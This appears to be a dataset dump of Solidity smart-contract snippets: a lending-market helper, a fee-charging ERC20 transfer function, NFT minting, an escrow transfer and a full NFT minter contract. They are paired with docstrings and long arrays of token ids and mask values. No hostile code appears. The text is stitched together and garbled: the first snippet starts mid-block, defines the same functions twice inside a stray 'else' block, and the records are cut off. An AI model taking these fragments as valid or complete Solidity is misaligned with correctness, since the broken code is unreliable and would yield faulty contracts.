}
Require.that(
output.value <= maxOutputWei.value,
FILE,
"outputMarket too small",
output.value,
maxOutputWei.value
);
assert(output.sign != maxOutputWei.sign);
return output;
}
} else {
function heldWeiToOwedWei(
Types.Wei memory heldWei,
uint256 heldMarketId,
uint256 owedMarketId
)
private
view
returns (Types.AssetAmount memory)
{
(
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
) = getSpreadAdjustedPrices(
heldMarketId,
owedMarketId,
Time.currentTime()
);
uint256 owedAmount = Math.getPartialRoundUp(
heldWei.value,
heldPrice.value,
owedPrice.value
);
return Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: owedAmount
});
}
function heldWeiToOwedWei(
Types.Wei memory heldWei,
uint256 heldMarketId,
uint256 owedMarketId
)
private
view
returns (Types.AssetAmount memory)
{
(
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
) = getSpreadAdjustedPrices(
heldMarketId,
owedMarketId,
Time.currentTime()
);
uint256 owedAmount = Math.getPartialRoundUp(
heldWei.value,
heldPrice.value,
owedPrice.value
);
return Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: owedAmount
});
}
function owedWeiToHeldWei(
Types.Wei memory owedWei,
uint256 heldMarketId,
uint256 owedMarketId
)
private
view
returns (Types.AssetAmount memory)
{
(
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
) = getSpreadAdjustedPrices(
heldMarketId,
owedMarketId,
Time.currentTime()
);
uint256 heldAmount = Math.getPartial(
owedWei.value,
owedPrice.value,
heldPrice.value
);
return Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: heldAmount
});
}
function owedWeiToHeldWei(
Types.Wei memory owedWei,
uint256 heldMarketId,
uint256 owedMarketId
)
private
view
returns (Types.AssetAmount memory)
{
(
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
) = getSpreadAdjustedPrices(
heldMarketId,
owedMarketId,
Time.currentTime()
);
uint256 heldAmount = Math.getPartial(
owedWei.value,
owedPrice.value,
heldPrice.value
);
return Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: heldAmount
});
}
} | 6,092,851 | [
1,
14468,
5245,
422,
1432,
631,
422,
1432,
631,
9043,
422,
1432,
631,
422,
1432,
631,
5235,
422,
1432,
631,
2647,
1879,
1492,
326,
4501,
26595,
367,
15103,
13998,
628,
3634,
358,
4207,
18,
2647,
622,
1492,
326,
6835,
1703,
6454,
18,
12744,
309,
640,
13227,
18,
422,
1432,
631,
11417,
422,
1432,
631,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
95,
203,
565,
1450,
2361,
364,
2254,
5034,
31,
203,
565,
1450,
14060,
10477,
364,
2254,
1578,
31,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
7658,
364,
7658,
18,
1553,
31,
203,
565,
1450,
7658,
364,
7658,
18,
3218,
77,
31,
203,
203,
203,
565,
1731,
1578,
5381,
7527,
273,
315,
7951,
694,
88,
806,
14432,
203,
203,
203,
565,
871,
10188,
1235,
12,
203,
3639,
2254,
1578,
813,
203,
565,
11272,
203,
203,
565,
871,
1000,
88,
806,
12,
203,
3639,
1758,
8808,
312,
6388,
1887,
16,
203,
3639,
1758,
8808,
268,
6388,
1887,
16,
203,
3639,
2254,
5034,
15770,
3882,
278,
548,
16,
203,
3639,
2254,
5034,
2523,
329,
3882,
278,
548,
16,
203,
3639,
2254,
5034,
15770,
3218,
77,
16,
203,
3639,
2254,
5034,
2523,
329,
3218,
77,
203,
565,
11272,
203,
203,
203,
565,
2254,
5034,
1071,
314,
67,
26007,
54,
931,
950,
31,
203,
203,
565,
2254,
1578,
1071,
314,
67,
1937,
950,
273,
374,
31,
203,
203,
203,
565,
3885,
261,
203,
3639,
1758,
3704,
83,
9524,
16,
203,
3639,
2254,
5034,
436,
931,
950,
203,
565,
262,
203,
3639,
1071,
203,
3639,
5098,
55,
12854,
12,
87,
12854,
9524,
13,
203,
203,
16351,
16269,
694,
88,
806,
353,
203,
565,
288,
203,
3639,
314,
67,
26007,
54,
931,
950,
273,
436,
931,
950,
31,
203,
565,
289,
203,
203,
203,
565,
445,
4046,
1435,
203,
3639,
3903,
203,
565,
288,
203,
3639,
12981,
18,
19056,
12,
203,
5411,
314,
67,
1937,
950,
2
]
|
./partial_match/1/0x5B22B48905f1ab55f3A7152C54045F9Eeef110f2/sources/LEBRON.sol | at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if any account belongs to _isExcludedFromFee account then remove the fee only take fees on buys/sells, do not take on wallet transfers on sell on buy | function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevelopmentFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevelopmentFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
| 2,713,551 | [
1,
270,
8037,
309,
326,
7412,
4624,
353,
3696,
16,
3387,
326,
1203,
11267,
364,
5405,
343,
345,
414,
353,
444,
1493,
4982,
8037,
18,
309,
1281,
2236,
11081,
358,
389,
291,
16461,
1265,
14667,
2236,
1508,
1206,
326,
14036,
1338,
4862,
1656,
281,
603,
25666,
1900,
19,
87,
1165,
87,
16,
741,
486,
4862,
603,
9230,
29375,
603,
357,
80,
603,
30143,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
13866,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
3844,
203,
565,
262,
2713,
3849,
288,
203,
3639,
2583,
12,
2080,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
628,
326,
3634,
1758,
8863,
203,
3639,
2583,
12,
869,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
358,
326,
3634,
1758,
8863,
203,
7010,
3639,
309,
261,
8949,
422,
374,
13,
288,
203,
5411,
2240,
6315,
13866,
12,
2080,
16,
358,
16,
374,
1769,
203,
5411,
327,
31,
203,
3639,
289,
203,
7010,
3639,
309,
261,
14270,
382,
12477,
13,
288,
203,
5411,
309,
261,
203,
7734,
628,
480,
3410,
1435,
597,
203,
7734,
358,
480,
3410,
1435,
597,
203,
7734,
358,
480,
1758,
12,
20,
13,
597,
203,
7734,
358,
480,
1758,
12,
20,
92,
22097,
13,
597,
203,
7734,
401,
22270,
1382,
203,
5411,
262,
288,
203,
7734,
309,
16051,
313,
14968,
3896,
13,
288,
203,
10792,
2583,
12,
203,
13491,
389,
291,
16461,
1265,
2954,
281,
63,
2080,
65,
747,
389,
291,
16461,
1265,
2954,
281,
63,
869,
6487,
203,
13491,
315,
1609,
7459,
353,
486,
2695,
1199,
203,
10792,
11272,
203,
7734,
289,
203,
7010,
7734,
309,
261,
13866,
6763,
1526,
13,
288,
203,
10792,
309,
261,
203,
13491,
358,
480,
3410,
1435,
597,
203,
13491,
358,
480,
1758,
12,
318,
291,
91,
438,
58,
22,
8259,
13,
597,
203,
13491,
358,
480,
1758,
12,
318,
291,
91,
438,
58,
22,
4154,
13,
203,
2
]
|
./full_match/43113/0x1bf935178C12ad4824B77B8DF4717dDc80f43248/sources/contracts/ERC721ARNFTBase.sol | * @dev Safely mints a new token with `tokenURI` and transfers it to `receiver` and returns the new token id. Requirements: - `sender` must not owner. - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. Emits a {Transfer} event./ | function mintARNFT(address receiver, string memory tokenURI) public onlyOwner returns (uint256) {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_safeMint(receiver, newItemId);
_setTokenURI(newItemId, tokenURI);
return newItemId;
}
| 7,197,693 | [
1,
26946,
2357,
312,
28142,
279,
394,
1147,
598,
1375,
2316,
3098,
68,
471,
29375,
518,
358,
1375,
24454,
68,
471,
1135,
326,
394,
1147,
612,
18,
29076,
30,
300,
1375,
15330,
68,
1297,
486,
3410,
18,
300,
971,
1375,
869,
68,
21368,
358,
279,
13706,
6835,
16,
518,
1297,
2348,
288,
45,
654,
39,
27,
5340,
12952,
17,
265,
654,
39,
27,
5340,
8872,
5779,
1492,
353,
2566,
12318,
279,
4183,
7412,
18,
7377,
1282,
279,
288,
5912,
97,
871,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
312,
474,
4391,
4464,
12,
2867,
5971,
16,
533,
3778,
1147,
3098,
13,
1071,
1338,
5541,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
389,
2316,
2673,
18,
15016,
5621,
203,
203,
3639,
2254,
5034,
394,
17673,
273,
389,
2316,
2673,
18,
2972,
5621,
203,
3639,
389,
4626,
49,
474,
12,
24454,
16,
394,
17673,
1769,
203,
3639,
389,
542,
1345,
3098,
12,
2704,
17673,
16,
1147,
3098,
1769,
203,
203,
3639,
327,
394,
17673,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/44787/0xa34117B48313dE0093d599720998415bAb5FD61d/sources/Users/carter/git/clabs/celo-monorepo/packages/protocol/contracts/identity/Escrow.sol | * @notice Transfer tokens to a specific user. Supports both identity with privacy (an empty identifier and 0 minAttestations) and without (with identifier and attestations completed by trustedIssuers). @param identifier The hashed identifier of a user to transfer to. @param token The token to be transferred. @param value The amount to be transferred. @param expirySeconds The number of seconds before the sender can revoke the payment. @param paymentId The address of the temporary wallet associated with this payment. Users must prove ownership of the corresponding private key to withdraw from escrow. @param minAttestations The min number of attestations required to withdraw the payment. @param trustedIssuers Array of issuers whose attestations in FederatedAttestations.sol will be accepted to prove ownership over an identifier. @return True if transfer succeeded. @dev Throws if 'token' or 'value' is 0. @dev Throws if identifier is null and minAttestations > 0. @dev Throws if minAttestations == 0 but trustedIssuers are provided. @dev msg.sender needs to have already approved this contract to transfer./ | function transferWithTrustedIssuers(
bytes32 identifier,
address token,
uint256 value,
uint256 expirySeconds,
address paymentId,
uint256 minAttestations,
address[] calldata trustedIssuers
) external nonReentrant returns (bool) {
return
_transfer(
identifier,
token,
value,
expirySeconds,
paymentId,
minAttestations,
trustedIssuers
);
}
| 16,955,548 | [
1,
5912,
2430,
358,
279,
2923,
729,
18,
25110,
3937,
4215,
598,
19013,
261,
304,
1008,
540,
2756,
471,
374,
1131,
3075,
395,
1012,
13,
471,
2887,
261,
1918,
2756,
540,
471,
2403,
395,
1012,
5951,
635,
13179,
7568,
27307,
2934,
225,
2756,
1021,
14242,
2756,
434,
279,
729,
358,
7412,
358,
18,
225,
1147,
1021,
1147,
358,
506,
906,
4193,
18,
225,
460,
1021,
3844,
358,
506,
906,
4193,
18,
225,
10839,
6762,
1021,
1300,
434,
3974,
1865,
326,
5793,
848,
18007,
326,
5184,
18,
225,
5184,
548,
1021,
1758,
434,
326,
6269,
9230,
3627,
598,
333,
5184,
18,
12109,
1297,
3639,
450,
537,
23178,
434,
326,
4656,
3238,
498,
358,
598,
9446,
628,
2904,
492,
18,
225,
1131,
3075,
395,
1012,
1021,
1131,
1300,
434,
2403,
395,
1012,
1931,
358,
598,
9446,
326,
5184,
18,
225,
13179,
7568,
27307,
1510,
434,
3385,
27307,
8272,
2403,
395,
1012,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
225,
445,
7412,
1190,
16950,
7568,
27307,
12,
203,
565,
1731,
1578,
2756,
16,
203,
565,
1758,
1147,
16,
203,
565,
2254,
5034,
460,
16,
203,
565,
2254,
5034,
10839,
6762,
16,
203,
565,
1758,
5184,
548,
16,
203,
565,
2254,
5034,
1131,
3075,
395,
1012,
16,
203,
565,
1758,
8526,
745,
892,
13179,
7568,
27307,
203,
225,
262,
3903,
1661,
426,
8230,
970,
1135,
261,
6430,
13,
288,
203,
565,
327,
203,
1377,
389,
13866,
12,
203,
3639,
2756,
16,
203,
3639,
1147,
16,
203,
3639,
460,
16,
203,
3639,
10839,
6762,
16,
203,
3639,
5184,
548,
16,
203,
3639,
1131,
3075,
395,
1012,
16,
203,
3639,
13179,
7568,
27307,
203,
1377,
11272,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/presets/ERC721PresetMinterPauserAutoIdUpgradeable.sol";
//import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC1155/presets/ERC1155PresetMinterPauserUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/presets/ERC20PresetMinterPauserUpgradeable.sol";
import {NativeMetaTransaction} from "./NativeMetaTransaction.sol";
import {ContextMixin} from "./ContextMixin.sol";
contract CompiMinter is
Initializable,
AccessControlEnumerableUpgradeable,
NativeMetaTransaction,
ContextMixin
{
using SafeMathUpgradeable for uint256;
ERC721PresetMinterPauserAutoIdUpgradeable private _tokenERC721;
IERC20Upgradeable private _tokenERC20;
// Mapping from address to boolean -> true if refund was used
mapping (address => bool) private _accountDiscountUsed;
// Mapping from address to amount of mints
mapping (address => uint8) private _accountMintCount;
address[] private _discountTokens;
bool[] private _discountTokensIsERC1155;
uint8 private _maxMintByAccount;
uint256 private _startTime;
uint256 private _endTime;
uint256 private _multPrice;
uint32 private _totalTokenAmount;
uint256 private _tokenCount;
function initialize(string memory domainSeparator) public initializer {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_initializeEIP712(domainSeparator);
setTimeWindow(block.timestamp, block.timestamp.add(2592000));
setPrice(5000000000000000000);
_maxMintByAccount = 100;
_totalTokenAmount = 10010-14;
}
function setMaxSupply(uint32 maxSupply) public {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "CompiMinter: must have admin role to set max supply");
_totalTokenAmount = maxSupply;
emit MaxSupplySet(maxSupply);
}
/**
* @dev Max supply, minted count
*/
function getSupply() public view returns(uint32 maxSupply, uint256 currentSupply) {
return (_totalTokenAmount, _tokenCount);
}
function setDiscountTokens(address[] memory discountTokens, bool[] memory discountTokensIsERC1155) public {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "CompiMinter: must have admin role to set price");
require(discountTokens.length == discountTokensIsERC1155.length, "CompiMinter: array lengths must match");
_discountTokens = discountTokens;
_discountTokensIsERC1155 = discountTokensIsERC1155;
emit DiscountTokensSet(discountTokens, discountTokensIsERC1155);
}
function setPrice(uint256 multPrice) public {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "CompiMinter: must have admin role to set price");
_multPrice = multPrice;
emit PriceSet(multPrice);
}
function setTimeWindow(uint256 startTime, uint256 endTime) public {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "CompiMinter: must have admin role to change end time");
_startTime = startTime;
_endTime = endTime;
emit TimeWindowSet(startTime, endTime);
}
/**
* @dev Get time window
*/
function getTimeWindow() public view returns(uint256 startTime, uint256 endTime) {
return (_startTime, _endTime);
}
function setERC20(IERC20Upgradeable tokenERC20) external {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "CompiMinter: must have admin role to set token");
_tokenERC20 = tokenERC20;
emit ERC20Set(tokenERC20);
}
function setERC721(ERC721PresetMinterPauserAutoIdUpgradeable tokenERC721) external {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "CompiMinter: must have admin role to set PFP contract");
_tokenERC721 = tokenERC721;
emit ERC721Set(_tokenERC721);
}
function getPrice(address for_account) public view returns(uint256 _price, bool use_discount) {
//
bool willUseDiscount = false;
uint256 tmpPrice = _multPrice;
if (!_accountDiscountUsed[for_account]) {
for(uint i = 0; i < _discountTokens.length; i++) {
if (_discountTokensIsERC1155[i]) {
ERC1155PresetMinterPauserUpgradeable _contract = ERC1155PresetMinterPauserUpgradeable(_discountTokens[i]);
if (_contract.balanceOf(for_account, 0)>0) {
willUseDiscount = true;
break;
}
} else {
ERC721PresetMinterPauserAutoIdUpgradeable _contract = ERC721PresetMinterPauserAutoIdUpgradeable(_discountTokens[i]);
if (_contract.balanceOf(for_account)>0) {
willUseDiscount = true;
break;
}
}
}
}
if (!willUseDiscount) {
// Price not cut in half
tmpPrice = tmpPrice.mul(2);
}
//
return (tmpPrice, willUseDiscount);
}
/**
* @dev Get price, setting the discount as used.
*/
function _getPrice() private returns(uint256 _price) {
(uint256 tmpPrice, bool willUseDiscount) = getPrice(_msgSender());
// Mark discount as used
if (willUseDiscount) {
_accountDiscountUsed[_msgSender()] = true;
}
return tmpPrice;
}
/**
* @dev Is time window open?
*/
function isWindowOpen() public view returns(bool use_discount) {
if (block.timestamp > _startTime && block.timestamp < _endTime){
return true;
} else {
return false;
}
}
/**
* @dev Mints a new Compi from an id.
*/
function mintCompi(uint256 maxPrice)
external
price(_getPrice(), maxPrice)
{
require(!_tokenERC721.paused(), "CompiMinter: token mint while paused");
require(block.timestamp > _startTime, "CompiMinter: minting event not started");
require(block.timestamp < _endTime, "CompiMinter: minting event ended");
require(_tokenCount < _totalTokenAmount, "CompiMinter: contract mint limit reached");
require(_accountMintCount[_msgSender()] < _maxMintByAccount, "CompiMinter: max mints reached");
_tokenCount = _tokenCount.add(1);
_accountMintCount[_msgSender()] += 1;
_tokenERC721.mint(_msgSender());
}
/*
* @dev Remove all Ether from the contract, and transfer it to account of owner
*/
function withdrawBalance() external {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "CompiMinter: must have admin role to withdraw");
uint256 balance = _tokenERC20.balanceOf(address(this));
_tokenERC20.transfer(_msgSender(), balance);
emit Withdraw(balance);
}
// Modifiers
/**
* @dev modifier Associete fee with a function call. If the caller sent too much, then is discounted, but only after the function body.
* This was dangerous before Solidity version 0.4.0, where it was possible to skip the part after `_;`.
* @param _amount - ether needed to call the function
*/
modifier price(uint256 _amount, uint256 maxPrice) {
require(maxPrice >= _amount, "CompiMinter: price exceedes maxPrice");
require(_tokenERC20.balanceOf(_msgSender()) >= _amount, "CompiMinter: Not enough ERC20 tokens.");
require(_tokenERC20.allowance(_msgSender(), address(this)) >= _amount, "CompiMinter: Not enough ERC20 token allowance.");
_;
_tokenERC20.transferFrom(_msgSender(), address(this), _amount);
}
// This is to support Native meta transactions
// never use msg.sender directly, use _msgSender() instead
function _msgSender()
internal
override
view
returns (address sender) // Eibriel removed "payable"
{
return ContextMixin.msgSender();
}
/* Events */
/**
* @dev Emits when owner take ETH out of contract
* @param balance - amount of ETh sent out from contract
*/
event Withdraw(uint256 balance);
/**
* @dev Emits when discount tokens are set
* @param discountTokens - array of ERC721 or ERC1155 address
* @param discountTokensIsERC1155 - array of boolean. True if token is ERC1155
*/
event DiscountTokensSet(address[] discountTokens, bool[] discountTokensIsERC1155);
/**
* @dev Emits when a new price is set
* @param multPrice - a multiplier for the price
*/
event PriceSet(uint256 multPrice);
/**
* @dev Emits when a new max supply is set
* @param maxSupply - max amount of tokens to mint
*/
event MaxSupplySet(uint256 maxSupply);
/**
* @dev Emits when the contract URI is set
* @param contractURI - an URL to the metadata
*/
event ContractURISet(string contractURI);
/**
* @dev Emits when the start and end time are set
* @param startTime - the event start time
* @param endTime - the event end time
*/
event TimeWindowSet(uint256 startTime, uint256 endTime);
/**
* @dev Emits when the minting ERC721 contract address is set
* @param tokenERC721 - an address to the minting ERC721 contract
*/
event ERC721Set(IERC721Upgradeable tokenERC721);
/**
* @dev Emits when the payment ERC20 contract address is set
* @param tokenERC20 - an address to the payment ERC20 contract
*/
event ERC20Set(IERC20Upgradeable tokenERC20);
}
| * @dev Emits when a new max supply is set @param maxSupply - max amount of tokens to mint/ | event MaxSupplySet(uint256 maxSupply);
| 6,483,243 | [
1,
1514,
1282,
1347,
279,
394,
943,
14467,
353,
444,
225,
943,
